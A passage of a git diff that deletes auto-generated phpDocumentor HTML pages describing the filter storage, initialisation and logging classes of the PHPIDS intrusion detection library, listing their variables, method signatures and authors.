id="$source"><!-- --></A> -<div class="oddrow"> - - <div class="var-header"> - <span class="var-title"> - <span class="var-type">string</span> - <span class="var-name">$source</span> - = <span class="var-default"> null</span> (line <span class="line-number">59</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Filter source file</p> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - - - - -</div> - - </div> - </div> - - <a name="sec-methods"></a> - <div class="info-box"> - <div class="info-box-title">Methods</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - <a href="#sec-method-summary">Methods</a> (<span class="disabled">details</span>) - - </div> - <div class="info-box-body"> - <A NAME='method_detail'></A> - -<a name="method__construct" id="__construct"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">Constructor __construct</span> (line <span class="line-number">92</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Constructor</p> -<p class="description"><p>Loads filters based on provided IDS_Init settings.</p></p> - <ul class="tags"> - <li><span class="field">throws:</span> Exception if unsupported filter type is given</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - __construct - </span> - (<span class="var-type"><a href="../PHPIDS/IDS_Init.html">IDS_Init</a></span> <span class="var-name">$init</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">object</span> - <span class="var-name">$init</span><span class="var-description">: IDS_Init instance</span> </li> - </ul> - - - </div> -<a name="methodaddFilter" id="addFilter"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">addFilter</span> (line <span class="line-number">155</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Adds a filter</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">object</span> - <span class="method-name"> - addFilter - </span> - (<span class="var-type"><a href="../PHPIDS/IDS_Filter.html">IDS_Filter</a></span> <span class="var-name">$filter</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">object</span> - <span class="var-name">$filter</span><span class="var-description">: IDS_Filter instance</span> </li> - </ul> - - - </div> -<a name="methodgetFilterFromJson" id="getFilterFromJson"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">getFilterFromJson</span> (line <span class="line-number">290</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Loads filters from Json file using ext/Json</p> -<p class="description"><p>This function parses the provided source file and stores the result. If caching mode is enabled the result will be cached to increase the performance.</p></p> - <ul class="tags"> - <li><span class="field">throws:</span> Exception if problems with fetching the JSON data occur</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">object</span> - <span class="method-name"> - getFilterFromJson - </span> - () - </div> - - - - </div> -<a name="methodgetFilterFromXML" id="getFilterFromXML"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">getFilterFromXML</span> (line <span class="line-number">190</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Loads filters from XML using SimpleXML</p> -<p class="description"><p>This function parses the provided source file and stores the result. If caching mode is enabled the result will be cached to increase the performance.</p></p> - <ul class="tags"> - <li><span class="field">throws:</span> Exception if problems with fetching the XML data occur</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">object</span> - <span class="method-name"> - getFilterFromXML - </span> - () - </div> - - - - </div> -<a name="methodgetFilterSet" id="getFilterSet"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">getFilterSet</span> (line <span class="line-number">143</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns registered filters</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">array</span> - <span class="method-name"> - getFilterSet - </span> - () - </div> - - - - </div> -<a name="methodsetFilterSet" id="setFilterSet"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">setFilterSet</span> (line <span class="line-number">129</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Sets the filter array</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">object</span> - <span class="method-name"> - setFilterSet - </span> - (<span class="var-type">array</span> <span class="var-name">$filterSet</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">array</span> - <span class="var-name">$filterSet</span><span class="var-description">: array containing multiple IDS_Filter instances</span> </li> - </ul> - - - </div> - - </div> - </div> - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:53 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage_Abstract.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage_Abstract.html deleted file mode 100755 index 88870565dac4de5830e40ac65f5cd522ede8f915..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage_Abstract.html +++ /dev/null @@ -1,326 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs For Class IDS_Filter_Storage_Abstract</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="class-name">Class IDS_Filter_Storage_Abstract</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-descendents">Descendents</a> - | <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - | <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Abstract Filter Storage</p> -<p class="description"><p>Class to assure the systems API</p></p> - <ul class="tags"> - <li><span class="field">author:</span> christ1an <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">version:</span> $Id: Storage.php 494 2007-09-11 20:59:11Z mario $</li> - <li><span class="field">abstract:</span> </li> - </ul> - <p class="notes"> - Located in <a class="field" href="_Filter---Storage---Abstract.php.html">/Filter/Storage/Abstract.php</a> (line <span class="field">31</span>) - </p> - - - <pre></pre> - - </div> -</div> - - <a name="sec-descendents"></a> - <div class="info-box"> - <div class="info-box-title">Direct descendents</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Descendents</span> - | <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - | <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <table cellpadding="2" cellspacing="0" class="class-table"> - <tr> - <th class="class-table-header">Class</th> - <th class="class-table-header">Description</th> - </tr> - <tr> - <td style="padding-right: 2em"><a href="../PHPIDS/IDS_Filter_Storage.html">IDS_Filter_Storage</a></td> - <td> - Filter Storage Class - </td> - </tr> - </table> - </div> - </div> - - - <a name="sec-var-summary"></a> - <div class="info-box"> - <div class="info-box-title">Variable Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-descendents">Descendents</a> | - <span class="disabled">Vars</span> (<a href="#sec-vars">details</a>) - | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <div class="var-summary"> - <div class="var-title"> - <span class="var-type">mixed</span> - <a href="#$caching" title="details" class="var-name">$caching</a> - </div> - <div class="var-title"> - <span class="var-type">mixed</span> - <a href="#$filterPath" title="details" class="var-name">$filterPath</a> - </div> - </div> - </div> - </div> - - <a name="sec-method-summary"></a> - <div class="info-box"> - <div class="info-box-title">Method Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-descendents">Descendents</a> | - <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - - | - <span class="disabled">Methods</span> (<a href="#sec-methods">details</a>) - </div> - <div class="info-box-body"> - <div class="method-summary"> - - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#__construct" title="details" class="method-name">__construct</a> - (<span class="var-type"><a href="../PHPIDS/IDS_Init.html">IDS_Init</a></span> <span class="var-name">$init</span>) - </div> - <div class="method-definition"> - <span class="method-result">object</span> - <a href="#addFilter" title="details" class="method-name">addFilter</a> - (<span class="var-type"><a href="../PHPIDS/IDS_Filter.html">IDS_Filter</a></span> <span class="var-name">$filter</span>) - </div> - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#getFilterSet" title="details" class="method-name">getFilterSet</a> - () - </div> - <div class="method-definition"> - <span class="method-result">object</span> - <a href="#setFilterSet" title="details" class="method-name">setFilterSet</a> - (<span class="var-type">array</span> <span class="var-name">$filterSet</span>) - </div> - </div> - </div> - </div> - - <a name="sec-vars"></a> - <div class="info-box"> - <div class="info-box-title">Variables</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-descendents">Descendents</a> | - <a href="#sec-var-summary">Vars</a> (<span class="disabled">details</span>) - - - | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <a name="var$caching" id="$caching"><!-- --></A> -<div class="evenrow"> - - <div class="var-header"> - <span class="var-title"> - <span class="var-type">mixed</span> - <span class="var-name">$caching</span> - = <span class="var-default"> NULL</span> (line <span class="line-number">35</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - - - - -</div> -<a name="var$filterPath" id="$filterPath"><!-- --></A> -<div class="oddrow"> - - <div class="var-header"> - <span class="var-title"> - <span class="var-type">mixed</span> - <span class="var-name">$filterPath</span> - = <span class="var-default"> NULL</span> (line <span class="line-number">33</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> - <ul class="tags"> - <li><span class="field">access:</span> protected</li> - </ul> - - - - - -</div> - - </div> - </div> - - <a name="sec-methods"></a> - <div class="info-box"> - <div class="info-box-title">Methods</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-descendents">Descendents</a> | - <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - <a href="#sec-method-summary">Methods</a> (<span class="disabled">details</span>) - - </div> - <div class="info-box-body"> - <A NAME='method_detail'></A> - -<a name="method__construct" id="__construct"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">Constructor __construct</span> (line <span class="line-number">44</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Constructor</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - __construct - </span> - (<span class="var-type"><a href="../PHPIDS/IDS_Init.html">IDS_Init</a></span> <span class="var-name">$init</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">object</span> - <span class="var-name">$init</span> </li> - </ul> - - - </div> -<a name="methodaddFilter" id="addFilter"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">addFilter</span> (line <span class="line-number">96</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Adds one particular filter</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">object</span> - <span class="method-name"> - addFilter - </span> - (<span class="var-type"><a href="../PHPIDS/IDS_Filter.html">IDS_Filter</a></span> <span class="var-name">$filter</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">object</span> - <span class="var-name">$filter</span> </li> - </ul> - - - </div> -<a name="methodgetFilterSet" id="getFilterSet"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">getFilterSet</span> (line <span class="line-number">85</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns array containing all filters</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - getFilterSet - </span> - () - </div> - - - - </div> -<a name="methodsetFilterSet" id="setFilterSet"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">setFilterSet</span> (line <span class="line-number">71</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Sets filter array manually</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">object</span> - <span class="method-name"> - setFilterSet - </span> - (<span class="var-type">array</span> <span class="var-name">$filterSet</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">array</span> - <span class="var-name">$filterSet</span> </li> - </ul> - - - </div> - - </div> - </div> - - - <p class="notes" id="credit"> - Documentation generated on Thu, 13 Sep 2007 22:36:58 +0200 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.0</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Init.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Init.html deleted file mode 100755 index f141db935e5f9f0ff425e55f6efd8652a478aa0d..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Init.html +++ /dev/null @@ -1,413 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs For Class IDS_Init</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="class-name">Class IDS_Init</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - | <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Framework initiation</p> -<p class="description"><p>This class is used for the purpose to initiate the framework and inhabits functionality to parse the needed configuration file.</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">version:</span> Release: $Id:Init.php 517 2007-09-15 15:04:13Z mario $</li> - <li><span class="field">copyright:</span> 2007 The PHPIDS Groupup</li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">since:</span> Version 0.4</li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - <p class="notes"> - Located in <a class="field" href="_Init.php.html">/Init.php</a> (line <span class="field">51</span>) - </p> - - - <pre></pre> - - </div> -</div> - - - - <a name="sec-var-summary"></a> - <div class="info-box"> - <div class="info-box-title">Variable Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Vars</span> (<a href="#sec-vars">details</a>) - | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <div class="var-summary"> - <div class="var-title"> - <span class="var-type">array</span> - <a href="#$config" title="details" class="var-name">$config</a> - </div> - </div> - </div> - </div> - - <a name="sec-method-summary"></a> - <div class="info-box"> - <div class="info-box-title">Method Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - - | - <span class="disabled">Methods</span> (<a href="#sec-methods">details</a>) - </div> - <div class="info-box-body"> - <div class="method-summary"> - <div class="method-definition"> - static <span class="method-result">object</span> - <a href="#init" title="details" class="method-name">init</a> - ([<span class="var-type">string</span> <span class="var-name">$configPath</span> = <span class="var-default">null</span>]) - </div> - - <div class="method-definition"> - <span class="method-result">string</span> - <a href="#getBasePath" title="details" class="method-name">getBasePath</a> - () - </div> - <div class="method-definition"> - <span class="method-result">array</span> - <a href="#getConfig" title="details" class="method-name">getConfig</a> - () - </div> - <div class="method-definition"> - <span class="method-result">string</span> - <a href="#getConfigPath" title="details" class="method-name">getConfigPath</a> - () - </div> - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#setConfig" title="details" class="method-name">setConfig</a> - (<span class="var-type"></span> <span class="var-name">$config</span>, [<span class="var-type">boolean</span> <span class="var-name">$overwrite</span> = <span class="var-default">false</span>]) - </div> - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#setConfigPath" title="details" class="method-name">setConfigPath</a> - (<span class="var-type">string</span> <span class="var-name">$path</span>) - </div> - <div class="method-definition"> - <span class="method-result">array</span> - <a href="#_mergeConfig" title="details" class="method-name">_mergeConfig</a> - (<span class="var-type">array</span> <span class="var-name">$current</span>, <span class="var-type">array</span> <span class="var-name">$successor</span>) - </div> - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#__clone" title="details" class="method-name">__clone</a> - () - </div> - </div> - </div> - </div> - - <a name="sec-vars"></a> - <div class="info-box"> - <div class="info-box-title">Variables</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-var-summary">Vars</a> (<span class="disabled">details</span>) - - - | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <a name="var$config" id="$config"><!-- --></A> -<div class="oddrow"> - - <div class="var-header"> - <span class="var-title"> - <span class="var-type">array</span> - <span class="var-name">$config</span> - = <span class="var-default">array()</span> (line <span class="line-number">59</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Holds config settings</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - - - - -</div> - - </div> - </div> - - <a name="sec-methods"></a> - <div class="info-box"> - <div class="info-box-title">Methods</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - <a href="#sec-method-summary">Methods</a> (<span class="disabled">details</span>) - - </div> - <div class="info-box-body"> - <A NAME='method_detail'></A> -<a name="methodinit" id="init"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">static method init</span> (line <span class="line-number">115</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns an instance of this class. Also a PHP version check is being performed to avoid compatibility problems with PHP < 5.1.6</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - static - <span class="method-result">object</span> - <span class="method-name"> - init - </span> - ([<span class="var-type">string</span> <span class="var-name">$configPath</span> = <span class="var-default">null</span>]) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$configPath</span><span class="var-description">: the path to the config file</span> </li> - </ul> - - - </div> - -<a name="methodgetBasePath" id="getBasePath"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">getBasePath</span> (line <span class="line-number">161</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">This method checks if a base path is given and usage is set to true.</p> -<p class="description"><p>If all that tests succeed the base path will be returned as a string - else null will be returned.</p></p> - <ul class="tags"> - <li><span class="field">return:</span> the base path or null</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">string</span> - <span class="method-name"> - getBasePath - </span> - () - </div> - - - - </div> -<a name="methodgetConfig" id="getConfig"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">getConfig</span> (line <span class="line-number">220</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns the config array</p> - <ul class="tags"> - <li><span class="field">return:</span> the config array</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">array</span> - <span class="method-name"> - getConfig - </span> - () - </div> - - - - </div> -<a name="methodgetConfigPath" id="getConfigPath"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">getConfigPath</span> (line <span class="line-number">149</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Returns path to configuration file</p> - <ul class="tags"> - <li><span class="field">return:</span> the config path</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">string</span> - <span class="method-name"> - getConfigPath - </span> - () - </div> - - - - </div> -<a name="methodsetConfig" id="setConfig"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">setConfig</span> (line <span class="line-number">178</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Merges new settings into the exsiting ones or overwrites them</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - setConfig - </span> - (<span class="var-type"></span> <span class="var-name">$config</span>, [<span class="var-type">boolean</span> <span class="var-name">$overwrite</span> = <span class="var-default">false</span>]) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">array</span> - <span class="var-name">$config</span><span class="var-description">: the config array</span> </li> - <li> - <span class="var-type">boolean</span> - <span class="var-name">$overwrite</span><span class="var-description">: config overwrite flag</span> </li> - </ul> - - - </div> -<a name="methodsetConfigPath" id="setConfigPath"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">setConfigPath</span> (line <span class="line-number">132</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Sets the path to the configuration file</p> - <ul class="tags"> - <li><span class="field">throws:</span> Exception if file not found</li> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - setConfigPath - </span> - (<span class="var-type">string</span> <span class="var-name">$path</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">string</span> - <span class="var-name">$path</span><span class="var-description">: the path to the config</span> </li> - </ul> - - - </div> -<a name="method_mergeConfig" id="_mergeConfig"><!-- --></a> -<div class="evenrow"> - - <div class="method-header"> - <span class="method-title">_mergeConfig</span> (line <span class="line-number">198</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Merge config hashes recursivly</p> -<p class="description"><p>The algorithm merges configuration arrays recursively. If an element is an array in both, the values will be appended. If it is a scalar in both, the value will be replaced.</p></p> - <ul class="tags"> - <li><span class="field">return:</span> Merged hash</li> - <li><span class="field">access:</span> protected</li> - </ul> - - <div class="method-signature"> - <span class="method-result">array</span> - <span class="method-name"> - _mergeConfig - </span> - (<span class="var-type">array</span> <span class="var-name">$current</span>, <span class="var-type">array</span> <span class="var-name">$successor</span>) - </div> - - <ul class="parameters"> - <li> - <span class="var-type">array</span> - <span class="var-name">$current</span><span class="var-description">: The legacy hash</span> </li> - <li> - <span class="var-type">array</span> - <span class="var-name">$successor</span><span class="var-description">: The hash which values count more when in doubt</span> </li> - </ul> - - - </div> -<a name="method__clone" id="__clone"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span class="method-title">__clone</span> (line <span class="line-number">103</span>) - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Permitting to clone this object</p> -<p class="description"><p>For the sake of correctness of a singleton pattern, this is necessary</p></p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - <div class="method-signature"> - <span class="method-result">void</span> - <span class="method-name"> - __clone - </span> - () - </div> - - - - </div> - - </div> - </div> - - - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:48 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </div></body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Log_Composite.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Log_Composite.html deleted file mode 100755 index e3650746ac4bc0a4cc2c7a6f68c8ecd855e25981..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/PHPIDS/IDS_Log_Composite.html +++ /dev/null @@ -1,243 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>Docs For Class IDS_Log_Composite</title> - <link rel="stylesheet" href="../media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="page-body"> -<h2 class="class-name">Class IDS_Log_Composite</h2> - -<a name="sec-description"></a> -<div class="info-box"> - <div class="info-box-title">Description</div> - <div class="nav-bar"> - <span class="disabled">Description</span> | - <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - | <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Log Composite</p> -<p class="description"><p>This class implements the composite pattern to allow to work with multiple logging wrappers at once.</p></p> - <ul class="tags"> - <li><span class="field">author:</span> Lars Strojny <<a href="mailto:lars@strojny.net">lars@strojny.net</a>></li> - <li><span class="field">author:</span> Christian Matthies <<a href="mailto:ch0012@gmail.com">ch0012@gmail.com</a>></li> - <li><span class="field">author:</span> Mario Heiderich <<a href="mailto:mario.heiderich@gmail.com">mario.heiderich@gmail.com</a>></li> - <li><span class="field">version:</span> Release: $Id:Composite.php 517 2007-09-15 15:04:13Z mario $</li> - <li><span class="field">copyright:</span> 2007 The PHPIDS Group</li> - <li><span class="field">link:</span> <a href="http://php-ids.org/">http://php-ids.org/</a></li> - <li><span class="field">license:</span> <a href="http://www.gnu.org/licenses/lgpl.html">LGPL</a></li> - </ul> - <p class="notes"> - Located in <a class="field" href="_Log---Composite.php.html">/Log/Composite.php</a> (line <span class="field">52</span>) - </p> - - - <pre></pre> - - </div> -</div> - - - - <a name="sec-var-summary"></a> - <div class="info-box"> - <div class="info-box-title">Variable Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <span class="disabled">Vars</span> (<a href="#sec-vars">details</a>) - | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <div class="var-summary"> - <div class="var-title"> - <span class="var-type">array</span> - <a href="#$loggers" title="details" class="var-name">$loggers</a> - </div> - </div> - </div> - </div> - - <a name="sec-method-summary"></a> - <div class="info-box"> - <div class="info-box-title">Method Summary</span></div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - - | - <span class="disabled">Methods</span> (<a href="#sec-methods">details</a>) - </div> - <div class="info-box-body"> - <div class="method-summary"> - - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#addLogger" title="details" class="method-name">addLogger</a> - () - </div> - <div class="method-definition"> - <span class="method-result">void</span> - <a href="#execute" title="details" class="method-name">execute</a> - (<span class="var-type"><a href="../PHPIDS/IDS_Report.html">IDS_Report</a></span> <span class="var-name">$data</span>) - </div> - <div class="method-definition"> - <span class="method-result">boolean</span> - <a href="#removeLogger" title="details" class="method-name">removeLogger</a> - (<span class="var-type"><a href="../PHPIDS/IDS_Log_Interface.html">IDS_Log_Interface</a></span> <span class="var-name">$logger</span>) - </div> - </div> - </div> - </div> - - <a name="sec-vars"></a> - <div class="info-box"> - <div class="info-box-title">Variables</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-var-summary">Vars</a> (<span class="disabled">details</span>) - - - | - <a href="#sec-method-summary">Methods</a> (<a href="#sec-methods">details</a>) - - </div> - <div class="info-box-body"> - <a name="var$loggers" id="$loggers"><!-- --></A> -<div class="evenrow"> - - <div class="var-header"> - <span class="var-title"> - <span class="var-type">array</span> - <span class="var-name">$loggers</span> - = <span class="var-default">array()</span> (line <span class="line-number">60</span>) - </span> - </div> - - <!-- ========== Info from phpDoc block ========= --> -<p class="short-description">Holds registered logging wrapper</p> - <ul class="tags"> - <li><span class="field">access:</span> public</li> - </ul> - - - - - -</div> - - </div> - </div> - - <a name="sec-methods"></a> - <div class="info-box"> - <div class="info-box-title">Methods</div> - <div class="nav-bar"> - <a href="#sec-description">Description</a> | - <a href="#sec-var-summary">Vars</a> (<a href="#sec-vars">details</a>) - <a href="#sec-method-summary">Methods</a> (<span class="disabled">details</span>) - - </div> - <div class="info-box-body"> - <A NAME='method_detail'></A> - -<a name="methodaddLogger" id="addLogger"><!-- --></a> -<div class="oddrow"> - - <div class="method-header"> - <span 